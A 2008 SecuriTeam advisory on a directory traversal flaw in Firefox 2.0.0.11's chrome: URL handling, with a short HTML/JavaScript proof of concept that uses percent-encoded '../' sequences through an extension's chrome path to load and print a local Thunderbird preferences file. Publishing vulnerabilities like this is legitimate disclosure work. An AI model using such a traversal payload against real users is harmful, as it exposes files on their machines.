|
The following security advisory is sent to the securiteam mailing list, and can be found at the
SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Firefox chrome: URL Handling Directory Traversal
------------------------------------------------------------------------
SUMMARY
Firefox doesn't properly handle escaped characters. It is possible to load
any JavaScript file on a victims machine. This attack is similar to
previously disclosed vulnerabilities but is not constrained to basic
Firefox files.
DETAILS
Vulnerable Systems:
* Firefox version 2.0.0.11
To exploit this the victim needs to have an extension installed that does
not store its contents in a jar archive (such as the Download Statusbar).
Gerry created a demo that will read the Mozilla Thunderbird preferences
file all.js (C:\Program Files\Mozilla Thunderbird\greprefs\all.js).
This looks very interesting and may have bigger potential, but for now,
its just another information disclosure.
Proof of concept:
<script>pref = function(x, y){document.write(x + ' -> ' + y +
'<br>');};</script>
<script
src='chrome:
//downbar/content/%2e%2e%2f%2e%2e%2f%2e%2e%2f
%2e%2e%2f%2e
%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%
2e%2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files
%2fMozilla%20Thunderbird%2fgreprefs%2fall.
js'></script>
ADDITIONAL INFORMATION
The information has been provided by Gerry Eisenhaur.
The original article can be found at:
<http://www.hiredhacker.com/2008/01/19/firefox-chrome-url-handling-directory-t
raversal/>
http://www.hiredhacker.com/2008/01/19/firefox-chrome-url-handling-directory-trave
rsal/
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages.
|
